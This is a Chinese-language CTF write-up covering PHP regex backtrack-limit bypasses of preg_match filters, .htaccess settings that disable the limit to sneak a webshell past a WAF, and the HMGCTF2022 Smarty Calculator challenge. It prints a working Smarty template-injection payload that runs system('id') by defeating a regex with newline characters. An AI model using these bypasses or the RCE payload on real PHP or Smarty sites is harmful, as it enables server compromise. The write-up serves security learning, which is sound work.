正则分为NFA和DFA两种,而php中使用的是NFA.php通过pcre.backtrack_limit
来限制回溯次数,如果超过了这个限制,就会返回false.pcre.backtrack_limit
默认值是100万.
因此我们可以通过传入大量的垃圾字符或是触发灾难性回溯来超过限制,从而绕过preg_match
.
除此以外,在进行文件上传类题目的时候,也可以通过设置apache下的.htaccess
文件来修改这个限制,从而实现绕过木马的waf.
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
[HMGCTF2022]Smarty Calculator
首先www.zip泄露,得到源码,发现使用了Smarty框架.发现处理逻辑包括如下.
function waf($data){$pattern = "php|\<|flag|\?";$vpattern = explode("|", $pattern);foreach ($vpattern as $value) {if (preg_match("/$value/", $data)) {echo("<div style='width:100%;text-align:center'><h5>Calculator don not like U<h5><br>");die();}}return $data;
}if(isset($_POST['data'])){if(isset($_COOKIE['login'])) {$data = waf($_POST['data']);echo "<div style='width:100%;text-align:center'><h5>Only smarty people can use calculators:<h5><br>";$smarty->display("string:" . $data);}else{echo "<script>alert(\"你还没有登录\")</script>";}
}
存在Smarty模板注入漏洞.打了一发{$smarty.version}
发现版本是3.1.39.使用payload去进行攻击没有成功.发现给出了Smarty目录,这里面估计会有问题.从网上找到了Smarty源文件Smarty使用winmerge比较发现:
源码中过滤的逻辑被修改了.
if (preg_match('/[a-zA-Z0-9_\x80-\xff](.*)+$/', $_name)) {$compiler->trigger_template_error("Function name contains invalid characters: {$_name}", null, true);}
因此原本的payload打不通.分析正则可以发现(.*)+
会导致匹配的灾难性回溯,由于.
不能匹配\n
,因此可以使用%0A
来触发.网上得到的payload如下.
data={function+name='rce(){};system("id");function%0A%0A'}{/function}
成功绕过匹配,进行模板注入.然而这里我并不是完全的理解,我构造的payload为什么打不通.
string:{function+name='rce(){};system("id");function+'}{/function}%0A%0A2